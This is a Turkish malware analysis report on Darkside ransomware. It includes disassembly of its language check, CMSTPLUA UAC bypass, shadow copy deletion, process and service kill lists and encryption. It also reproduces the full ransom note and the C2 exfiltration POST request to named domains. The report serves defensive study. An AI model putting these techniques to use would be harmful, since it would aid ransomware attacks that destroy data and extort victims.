

Darkside Ransomware

Teknik Analiz Raporu



İçindekiler

Giriş	2
Ön İnceleme	3
darkside.exe Analizi.....	4
Network Analizi	15
Çözüm Önerileri	17
MITRE ATT&CK Tablosu.....	17
Yara Kuralları	18

Giriş

Rusya merkezli Darkside fidye yazılımı grubu, Ağustos 2020'de bir "basın açıklaması" aracılığıyla RaaS'lerini (Hizmet olarak Fidye Yazılımı) duyurdu. O zamandan beri profesyonel operasyonları ve büyük miktarda fidyelerle tanınır hale geldiler. Mağdurlara web sitesi üzerinden destek sağladılar ve saldırıdan önce mağdurların finansal analizini yaparlar.

Saldırı biçimleri, kurbanlarının altyapısı, güvenlik teknolojileri ve zayıf yönleri hakkında derin bir bilgi birikimine sahip olmaları sebebi ile grubun eski BT güvenlik uzmanlarından oluştuğu görüşü yaygındır.

Ayrıca hastanelere, okullara, kâr amacı gütmeyen kuruluşlara ve hükümetlere değil, fidye ödeyebilecek büyük kuruluşlara saldırmayı tercih ettiklerini açıkça belirttiler.

Zararlı yazılım bulaştığı bilgisayarlarda;

- Bilgisayar hakkında bilgi toplama ve depolama
- Fidye isteme
- C2 sunucuları ile iletişime geçme
- UAC bypass gibi zafiyetleri kullanarak yetki yükseltme
- Karalistede bulunan processleri, dosyaları, uzantıları silmekte veya şifrelemektedir.

Ayrıca ilk olarak Windows işletim sistemini hedef alsalar da. Darkside'ın Linux versiyonuna da rastlanmıştır.

Ön İnceleme

İncelenen versiyondaki DarkSide Ransomware zararlısı, phishing yöntemleri ile genellikle e-mail üzerinden yayılmayı amaçlamıştır. Orijinal ismi bilinmediğinden dolayı daha rahat analiz etmek için “darkside” ismi verilmiştir.

Dosya Adı	darkside.exe
Dosya Türü	Portable Executable 32 (x86)
MD5	3f2cb535fc5bc296aa5b0d2897c265d0
SHA1	c30358563fa940eb5cd6064d4d16defee43b0310
SHA256	f3f25af554bedfa4ee2824bb858280282bd87828d446048619dc49fe061741b4

darkside.exe Analizi

İlk olarak Ransomware, çalıştığı sistemin hangi dili kullandığını kontrol etmektedir.

```
0040301A 56      push esi
0040301B 57      push edi
0040301C 8D45 F8  lea eax,dword ptr ss:[ebp-8]
0040301F 50      push eax          eax:"419"
00403020 FF15 EC064200 call dword ptr ds:[<&ZwQueryInstallUILanguage>]
00403026 8B75 F8  mov esi,dword ptr ss:[ebp-8]
00403029 8D45 F8  lea eax,dword ptr ss:[ebp-8]
0040302C 50      push eax          eax:"419"
0040302D FF15 E8064200 call dword ptr ds:[<&ZwQueryDefaultUILanguage>]
00403033 8B7D F8  mov edi,dword ptr ss:[ebp-8]
00403036 BB 01000000 mov ebx,1
0040303B C1E3 0A  shl ebx,A
```

1049 parametresi (419 Hexadecimal) evrensel dil kodlarında Rusça'ya karşılık gelmektedir. Eğer sistemin dili Rusça ise ransomware hiçbir işlem yapmadan kendini kapatmaktadır.

Dinamik olarak yüklenen DLL'ler:

ntdll.dll	kernel32.dll	advapi32.dll	user32.dll
gdi32.dll	ole32.dll	oleaut32.dll	shell32.dll
shlwapi.dll	wininet.dll	netapi32.dll	wtsapi32.dll
activeds.dll	userenv.dll	mpr.dll	rstrtmgr.dll

Dil kontrolünden sonra “Global\\18fd644b755ebf281e35dfdc79c95d5d” adlı Mutex’in olup olmadığına bakmaktadır.

```
0040A2F9 74 4E je darkside.40A349
0040A2FB E8 519CFFFF call darkside.403F51
0040A300 8945 F4 mov dword ptr ss:[ebp-C],eax
0040A303 FF75 F4 push dword ptr ss:[ebp-C]
0040A306 6A 00 push 0
0040A308 68 00001000 push 100000
0040A30D FF15 80074200 call dword ptr ds:[&OpenMutex<>]
0040A313 8945 FC mov dword ptr ss:[ebp-4],eax
0040A316 837D FC 00 cmp dword ptr ss:[ebp-4],0
0040A31A 74 0D je darkside.40A329
0040A31C FF75 FC push dword ptr ss:[ebp-4]
0040A31F FF15 FC064200 call dword ptr ds:[&ZwClose<>]
0040A325 8BFF mov esi,ebp
```

Eğer böyle bir Mutex yok ise oluşturmaktadır. Varsa zararlı yazılım kendini kapatmaktadır. Böylece birden fazla DarkSide Ransomware'in çalışmasını engellemektedir.

Ransomware tarafından kapatılan processler:

sqloracle	ocssd	dbsnmp	synctime	agntsvc	isqlplussvc
xfssvcon	mydesktopservice	ocautoupds	encsvc	firefox	tbirdconfig
mydesktoppqos	ocomm	dbeng50	sqbcoreservice	excel	infopath
msaccess	mspub	onenote	outlook	powerpnt	steam
thebat	thunderbird	visio	winword	wordpad	notepad
x32dbg	x64dbg	ida			

Ransomware tarafından kapatılan servisler:

vss	sql	svc
memtas	mepocs	sophos
veeam	backup	GxVss
GxBlr	GxFWD	GxCVD
GxCIMgr		

Ransomware tarafından şifrelenmeyecek klasörler:

recycle bin	config	msi	windows
appdata	application	data	boot
google	mozilla	program files (x86)	program data
system volume information	tor browser	windows old	intel
msocache	perflogs	public	all users
default			

Ransomware tarafından şifrelenmeyen dosyalar:

autorun	run	inf	boot
ini	bootfont	bin	bootsect
bak	desktop	ini	iconcache
db	ntldr	ntuser	dat
log	thumbs		

Ransomware tarafından şifrelenmeyen uzantılar:

386	adv	ani	bat	bin
cab	cmd	com	cpl	cur
deskthemepack	diagcab	diagcfg	diagpgk	dll
drv	exe	hlp	icl	icns
ico	ics	idx	ldf	lnk
mod	mpa	msc	msh	msstyles
msu	nls	nomedia	ocx	prf
ps1	rom	rtp	scr	shs
sp1	sys	theme	themepack	wpx
lock	key	hta	msi	pdb

Ransomware tarafından kapatılması engellenmiş processler:

vmcompute	vms	vmwp
svchost	TeamViewer	explorer

Ransomware, şifreleme yaptığı sistemlere bir etiket niteliğinde olan 8 haneli kod oluşturmaktadır.

```
00401E97 50          push eax
00401E98 8D45 F8     lea eax,dword ptr ss:[ebp-8]
00401E9B 50          push eax
00401E9C 6A 00      push 0
00401E9E 57          push edi
00401E9F FF75 FC     push dword ptr ss:[ebp-4]
00401EA2 FF15 F4074200 call dword ptr ds:[<&RegQueryValueEx>]
00401EA8 85C0      test eax,eax
00401EAA 75 16     jne darkside.401EC2
00401EAC FF75 F4     push dword ptr ss:[ebp-C]
00401EAF 8D85 70FFFFFF lea eax,dword ptr ss:[ebp-90]
00401EB5 50          push eax
00401EB6 FF75 08     push dword ptr ss:[ebp+8]
00401EB9 FF15 54064200 call dword ptr ds:[<&memcpy>]
00401EBF 83C4 0C     add esp,C
00401EC2 57          push edi
00401EC3 6A 00      push 0
00401EC5 FF35 86034100 push dword ptr ds:[410386]
```

Bu 8 haneli kodu oluşturmak için, her Windows işletim sisteminin sahip olduğu ve benzersiz olan MachineGuid kimliğini kullanmaktadır. MachineGuid değerini bir takım özel algoritmalarla geçirerek "ca291fe8" halini almaktadır.

Oluşan bu etiket, zararlı yazılım tarafından ransomware notunda, masaüstü arka planında, şifrelenen dosyaların uzantılarında, C2 sunucuları ile bağlantı kurarken vb. yerlerde kullanılmaktadır.

WMI sorgularından faydalanarak sistemde Shadow Copy dosyaları mevcut olup olmadığını kontrol etmektedir.

```
004046FC 6A 00 push 0
004046FE 6A 30 push 30
00404700 FF75 F4 push dword ptr ss:[ebp-C]
00404703 FF75 F8 push dword ptr ss:[ebp-8]
00404706 FF75 E8 push dword ptr ss:[ebp-18]
00404709 FF52 50 call dword ptr ds:[edx+50]
0040470C 85C0 test eax,eax
0040470E 74 05 je darkside.404715
00404710 E9 E3000000 jmp darkside.4047F8
```

Eğer Shadow Copy dosyaları mevcut ise akabinde silmektedir.

Ransomware kullanıcının 554 (220 hexadecimal) grubunda olup olmadığına bakmaktadır.

```
00401F83 5B pop ebx
00401F84 8BE5 mov esp,ebp
00401F86 5D pop ebp
00401F87 C2 0400 ret 4
00401F8A 68 20020000 push 220
00401F8F 6A 00 push 0
00401F91 FF15 C0084200 call dword ptr ds:[<&SHTestTokenMembership>]
00401F97 C3 ret
00401F98 55 push ebp
00401F99 8BEC mov ebp,esp
00401F9B 81EC 40010000 sub esp,140
00401FA1 53 push ebx
00401FA2 51 push ecx
00401FA3 52 push edx
00401FA4 56 push esi
00401FA5 57 push edi
```

554 ise Admin kullanıcıları grubuna denk gelmektedir.

Eğer kullanıcı Admin grubuna değil ise, CMSTPLUA COM interface'i ile UAC bypass yöntemi kullanarak Admin yetkilerine sahip olmaktadır.

```
00402741 68 20020000 push 220
00402746 8BD8 mov ebx,eax
00402748 FF75 08 push dword ptr ss:[ebp+8]
0040274B 53 push ebx
0040274C 8D45 DC lea eax,dword ptr ss:[ebp-24]
0040274F 5F push eax
00402750 8D85 D4DFDFFF lea eax,dword ptr ss:[ebp-22C]
00402756 50 push eax
00402757 FF15 A0084200 call dword ptr ds:[<&CoGetObject>]
0040275E 6A 00 push 0
00402760 FF35 B6034100 push dword ptr ds:[410386]
00402766 FF15 50064200 call dword ptr ds:[<&RtlFreeHeap>]
0040276C 5F pop edi
0040276D 5E pop esi
0040276E 5A pop edx
0040276F 59 pop ecx
00402770 5B pop ebx
00402771 8BE5 mov esp,ebp
00402773 5D pop ebp
00402774 C2 0400 ret 4
00402777 55 push ebp
00402778 8BEC mov ebp,esp
0040277A 83C4 F8 add esp,FFFFFFF8
0040277D C745 F8 00000000 mov dword ptr ss:[ebp-8],0
```

Admin yetkilerini ele geçiren ransomware, kendini yeniden başlatmaktadır.

explorer.exe	2864	0,51		34,08 MB	WIN-L1KDN79P80\zorro	Windows Gezgini
wintoolservice.exe	2956			1,39 MB	WIN-L1KDN79P80\zorro	VMware SVGA Helper Service
wintools64.exe	2964	0,13	1,22 kB/s	12,78 MB	WIN-L1KDN79P80\zorro	VMware Tools Core Service
ProcessHacker.exe	1876	0,66		14,25 MB	WIN-L1KDN79P80\zorro	Process Hacker
jusched.exe	3068			5,08 MB	WIN-L1KDN79P80\zorro	Java Update Scheduler
jucheck.exe	1440			4,95 MB	WIN-L1KDN79P80\zorro	Java Update Checker
darkside.exe	1084	0,06		2,77 MB		
darkside.exe	2296	10,73	2,47 MB/s	2,93 MB		

Service Control Manager ile bağlantı kurmaktadır. Sonra da "ca291fe8" adlı servisi açmaya çalışmaktadır. Fakat böyle bir servis bulunmadığı için hata ile karşılaşmaktadır.

00402960	68 3F00F00	push F003F	
00402965	6A 00	push 0	
00402967	6A 00	push 0	
00402969	FF15 F8074200	call dword ptr ds:[<&OpenSCManagerw>]	
0040296F	8945 FC	mov dword ptr ss:[ebp-4],eax	
00402972	837D FC 00	cmp dword ptr ss:[ebp-4],0	
00402976	74 23	je darkside.402998	
00402978	68 FF010F00	push F01FF	
0040297D	FF75 08	push dword ptr ss:[ebp+8]	[ebp+8]:L".ca291fe8"
00402980	FF75 FC	push dword ptr ss:[ebp-4]	
00402983	FF15 00084200	call dword ptr ds:[<&OpenServiceW>]	
00402989	8945 F8	mov dword ptr ss:[ebp-8],eax	
0040298C	837D F8 00	cmp dword ptr ss:[ebp-8],0	
00402990	74 09	je darkside.402998	
00402993	FF75 FC	push dword ptr ss:[ebp-4]	

"ca291fe8" adlı servisin bulunmadığını anladığında, bu servisi oluşturmaktadır. Daha sonrasında ise kendini servis olarak başlatmaktadır.

004028FA	6A 03	push 3	
004028FC	6A 10	push 10	
004028FE	68 FF010F00	push F01FF	
00402903	FF75 08	push dword ptr ss:[ebp+8]	[ebp+8]:L".ca291fe8"
00402906	FF75 08	push dword ptr ss:[ebp+8]	[ebp+8]:L".ca291fe8"
00402909	FF75 FC	push dword ptr ss:[ebp-4]	
0040290C	FF15 10084200	call dword ptr ds:[<&CreateServiceW>]	
00402912	8945 F8	mov dword ptr ss:[ebp-8],eax	
00402915	837D F8 00	cmp dword ptr ss:[ebp-8],0	
00402919	74 0D	je darkside.402928	
0040291B	6A 00	push 0	
0040291D	6A 00	push 0	
0040291F	FF75 F8	push dword ptr ss:[ebp-8]	
00402922	FF15 14084200	call dword ptr ds:[<&StartServiceW>]	
00402928	837D F8 00	cmp dword ptr ss:[ebp-8],0	
0040292C	74 09	je darkside.402937	

Ransomware, işletim sistemi, mimarisi, kullanıcı adı, dili gibi verileri toplamaktadır.

004090DA	74 4C	je darkside.409128	push dword ptr ss:[ebp-1C]	[ebp-1C]:L"e73da6a1839ae4fcb671"
004090DC	FF75 E4		push dword ptr ss:[ebp-4]	[ebp-4]:L"C:33/59"
004090DF	FF75 FC		push dword ptr ss:[ebp-20]	[ebp-20]:L"x64"
004090E2	FF75 E0		push dword ptr ss:[ebp-18]	[ebp-18]:L"windows 7 Professional"
004090E5	FF75 E8		push dword ptr ss:[ebp-14]	[ebp-14]:L"WORKGROUP"
004090E8	FF75 EC		push dword ptr ss:[ebp-C]	[ebp-C]:L"WIN-L1KDN79P80J"
004090EB	FF75 F4		push dword ptr ss:[ebp-8]	[ebp-8]:L"zorro"
004090EE	FF75 F8		push dword ptr ss:[ebp-10]	[ebp-10]:L"tr-TR"
004090F1	FF75 F0		push dword ptr ss:[ebp-24]	[ebp-24]:L"os":{\r\n"lang":\ "%s",\r\n"username":\ "%s",\r\n"hostname":\ "%s"};
004090F4	FF75 DC		push dword ptr ss:[ebp-28]	
004090F7	FF75 D8		call dword ptr ds:[&swprintf]	
004090FA	F15 8064200			
00409100	83C4 28	add esp,28		

Eldettiği bu verileri JSON olarak kaydedip şifreleyerek C2 sunucusuna aktarmak üzere bekletmektedir.

00538468	7B 0D 0A 22	62 6F 74 22	3A 7B 0D 0A	22 76 65 72	{.. "bot":{.. "ver
00538478	22 3A 22 32	2E 31 2E 32	2E 33 22 2C	0D 0A 22 75	:"2.1.2.3",.. "u
00538488	69 64 22 3A	22 30 36 30	37 62 38 33	38 32 34 37	id": "0607b838247
00538498	32 36 33 34	22 0D 0A 7D	2C 0D 0A 22	6F 73 22 3A	2634"..},.. "os":
005384A8	7B 0D 0A 22	6C 61 6E 67	22 3A 22 74	72 2D 54 52	{.. "lang": "tr-TR
005384B8	22 2C 0D 0A	22 75 73 65	72 6E 61 6D	65 22 3A 22	.. "username": "
005384C8	7A 6F 72 72	6F 22 2C 0D	0A 22 68 6F	73 74 6E 61	zorro",.. "hostna
005384D8	6D 65 22 3A	22 57 49 4E	2D 4C 31 48	44 4E 37 39	me": "WIN-L1KDN79
005384E8	50 38 30 4A	22 2C 0D 0A	22 64 6F 6D	61 69 6E 22	P80J",.. "domain"
005384F8	3A 22 57 4F	52 4B 47 52	4F 55 50 22	2C 0D 0A 22	:"WORKGROUP",.. "
00538508	6F 73 5F 74	79 70 65 22	3A 22 77 69	6E 64 6F 77	os_type": "window
00538518	73 22 2C 0D	0A 22 6F 73	5F 76 65 72	73 69 6F 6E	s",.. "os_version
00538528	22 3A 22 57	69 6E 64 6F	77 73 20 37	20 50 72 6F	:"windows 7 Pro
00538538	66 65 73 73	69 6F 6E 61	6C 22 2C 0D	0A 22 6F 73	essional",.. "os
00538548	5F 61 72 63	68 22 3A 22	78 36 34 22	2C 0D 0A 22	_arch": "x64",.. "
00538558	64 69 73 68	73 22 3A 22	43 3A 33 33	2F 35 39 22	disks": "C:33/59"
00538568	2C 0D 0A 22	69 64 22 3A	22 65 37 33	64 61 36 61	.. "id": "e73da6a
00538578	31 38 33 39	61 65 34 66	63 62 36 37	31 22 0D 0A	1839ae4fcb671"..
00538588	7D 0D 0A 7D	0C 0C 0C 0C	0C 0C 0C 0C	0C 0C 0C 0C	};..};.....

Ransomware, Geri Dönüşüm Kutusunun içindeki tüm dosyaları silmektedir.

00404451	FF75 F0		push dword ptr ss:[ebp-10]	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
00404454	6A 00		push 0	
00404456	FF35 86034100		push dword ptr ds:[410386]	
0040445C	FF15 50064200		call dword ptr ds:[&RtlFreeHeap]	
00404462	C745 F0 00000000		mov dword ptr ss:[ebp-10],0	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
00404469	EB 21		jmp darkside.40448C	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
0040446B	FF75 F0		push dword ptr ss:[ebp-10]	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
00404474	FF15 74074200		call dword ptr ds:[&DeleteFilew]	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
00404477	FF75 F0		push dword ptr ss:[ebp-10]	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
00404479	6A 00		push 0	
0040447F	FF35 86034100		push dword ptr ds:[410386]	
00404485	FF15 50064200		call dword ptr ds:[&RtlFreeHeap]	
0040448C	C745 F0 00000000		mov dword ptr ss:[ebp-10],0	[ebp-10]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
00404492	8D85 A0FDFFFF		lea eax,dword ptr ss:[ebp-260]	
00404499	50		push eax	
0040449B	FF75 FC		push dword ptr ss:[ebp-4]	
0040449E	FF15 10074200		call dword ptr ds:[&FindNextFilew]	
0040449C	85C0		test eax,eax	
0040449E	0F85 FAF0FFFF		jmp darkside.40439E	
004044A4	FF75 FC		push dword ptr ss:[ebp-4]	
004044A7	FF15 14074200		call dword ptr ds:[&FindClose]	
004044AD	837D F4 00		cmp dword ptr ss:[ebp-C],0	[ebp-C]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
004044B1	74 11		je darkside.4044C4	
004044B3	FF75 F4		push dword ptr ss:[ebp-C]	[ebp-C]:L"C:\\\$Recycle.Bin\\S-1-5-21-29
004044B6	6A 00		push 0	

Ransomware oluşturduğu BMP uzantılı resim dosyasını, Kayıt Defteri'ni kullanarak Denetim Masası üzerinden Masaüstü arka planını değiştirmektedir. Ayrıca ICO uzantılı icon dosyası oluşturarak şifrelediği dosyaların iconunu değiştirmektedir.

00403AE9	8D0C4D 02000000	lea ecx,dword ptr ds:[ecx*2+2]	
00403AF0	51	push ecx	
00403AF1	FF75 CC	push dword ptr ss:[ebp-34]	[ebp-34]:L"C:\\ProgramData\\ca291fe8.BMP"
00403AF4	6A 01	push 1	
00403AF6	6A 00	push 0	
00403AF8	FF75 E0	push dword ptr ss:[ebp-20]	[ebp-20]:L"wallPaper"
00403AFB	FF75 F8	push dword ptr ss:[ebp-8]	
00403AFE	FF15 F0074200	call dword ptr ds:[&RegSetValueExW]	
00403B04	85C0	test eax,eax	
00403B06	74 02	je darkside.40380A	
00403B08	EB 4B	jmp darkside.403855	
00403B0A	8D8D 60FFFFFF	lea edi,dword ptr ss:[ebp-A0]	

Değiştirilen ayarların uygulanması için geçerli oturuma ait kullanıcının ayarlarını güncellemektedir.

00403B40	85C0	test eax,eax	
00403B42	74 02	je darkside.403846	
00403B44	EB 0F	jmp darkside.403855	
00403B46	6A 03	push 3	
00403B48	FF75 CC	push dword ptr ss:[ebp-34]	[ebp-34]:L"C:\\ProgramData\\ca291fe8.BMP"
00403B4B	6A 00	push 0	
00403B4D	6A 14	push 14	
00403B4F	FF15 48084200	call dword ptr ds:[&SystemParametersInfoW]	
00403B55	837D DC 00	cmp dword ptr ss:[ebp-24],0	[ebp-24]:L"wallpaperStyle"
00403B59	74 11	je darkside.40386C	
00403B5B	FF75 DC	push dword ptr ss:[ebp-24]	[ebp-24]:L"wallpaperStyle"
00403B5E	6A 00	push 0	
00403B60	FF35 86034100	push dword ptr ds:[410386]	

Ransomware çalıştığı sistemin uyku moduna girmesini ve ekranın kapatılmasını engellemektedir. Bu sayede şifreleme durumunda olası hataların önüne geçmeyi hedeflemektedir.

00409F88	85C4 F4	add esp,FFFFFFF4	
00409F8B	C745 FC 00000000	mov dword ptr ss:[ebp-4],0	
00409F92	8D45 F8	lea eax,dword ptr ss:[ebp-8]	
00409F95	50	push eax	
00409F96	68 01000080	push 80000001	
00409F9B	FF15 A8064200	call dword ptr ds:[&ZwSetThreadExecutionState]	
00409FA1	E8 9682FFFF	call darkside.40223C	
00409FA6	803D 85034100 00	cmp byte ptr ds:[410385],0	
00409FAD	74 21	je darkside.409FD0	
00409FAF	6A 00	push 0	
00409FB1	6A 00	push 0	
00409FB3	6A 00	push 0	

Ransomware, şifrelemeye başlamadan önce sistem üzerinde hangi tür disklerin olduğunu kontrol etmektedir. Eğer disk türü çıkarılabilir, sabit ve network ise şifreleme işlemine devam etmektedir.

```
00407AD6 56          push esi
00407AD7 FF15 6C074200 call dword ptr ds:[<&GetDriveTypew>]
00407ADD 83F8 03     cmp eax,3
00407AE0 v 74 0E     je darkside.407AF0
00407AE2 83F8 02     cmp eax,2
00407AE5 v 74 09     je darkside.407AF0
00407AE7 83F8 04     cmp eax,4
00407AEA v 0F85 AF000000 jne darkside.407B9F
00407AF0 FF75 F4     push dword ptr ss:[ebp-C]
00407AF3 FF75 EC     push dword ptr ss:[ebp-14]
00407AF6 FF75 FC     push dword ptr ss:[ebp-4]
00407AF9 56          push esi
```

“Local\\job0-(ProcessID)” adlı bir file mapping, mutex ve event objesi oluşturmaktadır.

```
push 0
push 4
push 0
push 0
push FFFFFFFF
call dword ptr ds:[<&CreateFileMappingw>]
mov ebx,eax
test ebx,ebx
jne darkside.40717E
jmp darkside.4074A3
push 8000
push 0
push 0
push 0
```

ebx:L"Local\\%s", eax:L"Local\\job0-892"
ebx:L"Local\\%s"

Daha sonra ise ransomware kendini başka bir process oluşturarak “-path dizin” parametresi ile yeniden başlatmaktadır.

2 adet Thread oluşturmaktadır. Şifreleme işlemlerini bu Threadler yapmaktadır.

● 00406F35	68 7C5E4000	push darkside.405E7C
● 00406F3A	6A 00	push 0
● 00406F3C	6A 00	push 0
● 00406F3E	FF15 20074200	call dword ptr ds:[<&CreateThread>]
● 00406F44	AB	stosd
● 00406F45	FF45 FC	inc dword ptr ss:[ebp-4]
● 00406F48	6A 00	push 0
● 00406F4A	6A 00	push 0
● 00406F4C	6A 00	push 0
● 00406F4E	68 7C5E4000	push darkside.405E7C
● 00406F53	6A 00	push 0
● 00406F55	6A 00	push 0
● 00406F57	FF15 20074200	call dword ptr ds:[<&CreateThread>]
● 00406F5D	AB	stosd
● 00406F5F	FF45 FC	inc dword ptr ss:[ebp-4]

Oluşturulan Threadlere şifrelenecek dosyaların gönderilmesi için I/O completion port oluşturulmaktadır.

mov dword ptr ss:[ebp-4],0	
lea eax,dword ptr ds:[ebx*2]	eax:L"Local\\job0-892"
push eax	eax:L"Local\\job0-892"
push 0	
push 0	
push FFFFFFFF	
call dword ptr ds:[<&CreateIoCompletionPort>]	
mov dword ptr ds:[420A18],eax	eax:L"Local\\job0-892"
cmp dword ptr ds:[420A18],0	
je darkside.406FEF	
lea edi,dword ptr ss:[ebp-108]	
push 0	
push 0	

Şifreleme işleminde RSA-1024 ve Salsa20 matrixi beraber kullanılmaktadır.

RSA anahtarı, darkside.exe'nin 4590'inci ofsetinde bulunmaktadır.

Her şifrelenen dizine ransomware notu eklemektedir. Ransomware notu ise aşağıdaki gibidir;

----- [Welcome to DarkSide] ----->

What happend?

Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.

But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.

Follow our instructions below and you will recover all your data.

Data leak

First of all we have downloaded more then 500GB data from your network.

How to get access on website?

Using a TOR browser:

1) Download and install TOR browser from this site: <https://torproject.org/>

2) Open our website:

<http://dark24zz36xm4y2phwe7yvnkkkkhxionhfrwp67awpb3r3bdcneivoqd.onion/W57MRI9C7YZJUZEABBBYRQLSUTG22JZ9MAH0WT1ISHC405KP7Z2UWY3AI3J68DNM>

When you open our website, put the following data in the input form:

Key:

ug8lgpX3WrFzIEJ6HBWlWJnf7jemhfnlxBw9porj1uuYFTgKbxJQLYiteQS7DwgZn7dH0fs7qPPWmZ6inPv5GTmSjZNAjGLVljd4
SoiyTdGyophf0zPBxx6uEAOJxM0Woo4ZGeKVoUDHtZsqZNNhMF7aPh54VnKpIJXiZDbZZw4P06xTuw1UMeiTE7wdg7HWZM
epAVTzEI2W04RbkPFQHfUgEDcslDxbr83BvopYTYGKFRmtNUMH8OsOZQrOtv50xWDaOfbqxbzfHMJm30QGaGpgylJHQZssc
z3XBnwdvIwBJ9KN4DVgFgziRdvwJrfCP6YN1CYTOQgw1rzqmIU4G1xGYv7rE3jiBY1s4D3Y26SbppTceAVMu1mKx5CFIE3Ebtc
AsNtEqLHDbPnMcvU6Apwp17TXGob8xXJpEDBZhlzdTaCuybcprwcFNT0zccjblH81W39MrcJi9mNO3kHRe5fxmIFKvc9v8aQ
DihGyC65DtdabyBjidXl1NyNONT4PTyrxYqgffPsNDFuzz2yMrXiTAwtAQPqny5BBJQsfVhplXTtnLvWg1

!!! DANGER !!!

DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.

!!! DANGER !!!

Network Analizi

Ransomware C2 sunucusuna bağlanmak için özel bir user-agent belirlemektedir.

00401DF2	6A 00	push 0	
00401DF4	FF35 86034100	push dword ptr ds:[410386]	
00401DF4	FF15 48064200	call dword ptr ds:[<&rt11lo<]	
00401E00	85D8	mov ebx, eax	
00401E02	85D8	test ebx, ebx	
00401E04	74 10	je darkside.401E16	
00401E06	884E FC	mov ecx, dword ptr ds:[esi-4]	ebx:L"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0"
00401E09	8801	mov edx, ecx	ebx:L"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0"
00401E0B	8BF8	mov edi, ebx	
00401E0D	F3:A4	rep movsb	
00401E0F	52	push edx	
00401E10	53	push ebx	ebx:L"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0"
00401E11	E8 EA910000	call darkside.408000	ebx:L"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0"
00401E16	8BC3	mov eax, ebx	
00401E18	5F	pop edi	
00401E19	5E	pop esi	
00401E1A	5A	pop edx	
00401E1B	59	pop ecx	
00401E1C	5B	pop ebx	ebx:L"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/80.0"
00401E1D	5D	pop ebp	

baroqueetes[.]com adlı adrese 433 portundan bağlanmaktadır.

00409315	6A 00	push 0	
00409317	68 B8010000	push 18B	
0040931C	56	push esi	esi:L"baroqueetes.com"
0040931D	FF75 FC	push dword ptr ss:[ebp-4]	
00409320	FF15 F8084200	call dword ptr ds:[<&InternetConnectw>]	
00409326	8945 F8	mov dword ptr ss:[ebp-8], eax	
00409329	837D F8 00	cmp dword ptr ss:[ebp-8], 0	
0040932D	75 24	jne darkside.409353	
0040932F	56	push esi	esi:L"baroqueetes.com"
00409330	FF15 68064200	call dword ptr ds:[<&wcslen>]	
00409336	83C4 04	add esp, 4	

Request'i POST olacak şekilde ayarladıktan sonra çalıştığı sistem üzerinden elde ettiği verileri göndermektedir.

0040937F	8D45 A2	lea eax, dword ptr ss:[ebp-5E]	
00409382	50	push eax	eax:L"POST"
00409383	8D45 D2	lea eax, dword ptr ss:[ebp-2E]	
00409386	50	push eax	eax:L"POST"
00409387	FF75 F8	push dword ptr ss:[ebp-8]	
0040938A	FF15 0C094200	call dword ptr ds:[<&HttpOpenRequestw>]	
00409390	8945 F4	mov dword ptr ss:[ebp-C], eax	
00409393	837D F4 00	cmp dword ptr ss:[ebp-C], 0	

Request'in tam hali ise bu şekildedir:

```
n
m
u [ebp-10]:L"\r\nAccept: */*\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate, br\r\nContent-Type: text/plain"
d
u
u [ebp-18]: "3babcd3=I1KsJN8N0d1zg77ZZKHux1M1qu9L/z6MWcysGo00wdJgOIvLkSkrHHE7tOoSGImH118wSxV4rrUK/PNhGd0uZDgJHiX7s280hTiTkfwdS+
u
u [ebp-10]:L"\r\nAccept: */*\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate, br\r\nContent-Type: text/plain"
a
e
```

POST /ddDysYaDB HTTP/1.1

HOST: baroqueetes[.]com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101
Firefox/80.0

Accept: /

Accept-Encoding: gzip, deflate

Content-Type: text/plain

Connection: keep-alive

3babcd3=I1KsJN8N0d1zg77ZZKHux1M1qu9L/z6MWcysGo00wdJgOIvLkSkrHHE7tOo
SGImH118wSxV4rrUK/PNhGd0uZDgJHiX7s280hTiTkfwdS+15HL2vAy/DALSotO0w2F
6ISuk2awvYJHYQdbqg6jXS/O1Er/sPQXHem/TRB1xzA72qs/ggtKKUBpsPTglbGKVXo
rFWxZ15KT8C2yHB/x/p0x7YkMIriuK6bGB6vpEZz6+owJcKtLqAf6aT1M0NeOwL1Nx
0jrIGheu9mPDUVLOBrManHxoCIFCUMtkGnQGp88iHG1oqmnyMZok3wavAV0WOH
PRito6blW1SI0betG9LOR2VvOSrS3eBvVRB00/GdyCKO6ZMIosC9Cieu7Wwui/Gt2cnA
DUyLNWn+QfINUb/Iy==&0c9f2ce3=0607b8382472634

Daha sonra ise sunucudan gelen durum koduna bakmaktadır. Ransomware 200 kodunun aksine 500 kodunu beklemektedir. Eğer durum kodu 500 değil ise tüm bu network işlemlerini ikinci C2 sunucusu olan rumahsia[.]com ile tekrar denemektedir.

Ayrıca tüm şifreleme işlemleri bittikten sonra ransomware, C2 sunucusuna tüm işlemlerin bittiğini, ne kadar dosya şifrelendiğini ve toplam şifrelenen dosya boyutunu aktarmaktadır.

Çözüm Önerileri

- Güncel ve güvenilir bir anti virüs yazılımı kullanılması.
- Gelen maillere dikkat edilmesi, güvenilir olmayan kaynaklardan gelen mail ve eklerin bilinçsizce açılmaması.
- Spam maillerin dikkate alınmaması.
- İşletim sisteminin güncel tutulması.
- Orijinal ve Legal uygulamaların kullanılması.
- Kimlik avı saldırılarına karşı bilgilendirilmesi.

MITRE ATT&CK Tablosu

Defense Evasion	Discovery	Impact
T1112	T1012	T1491
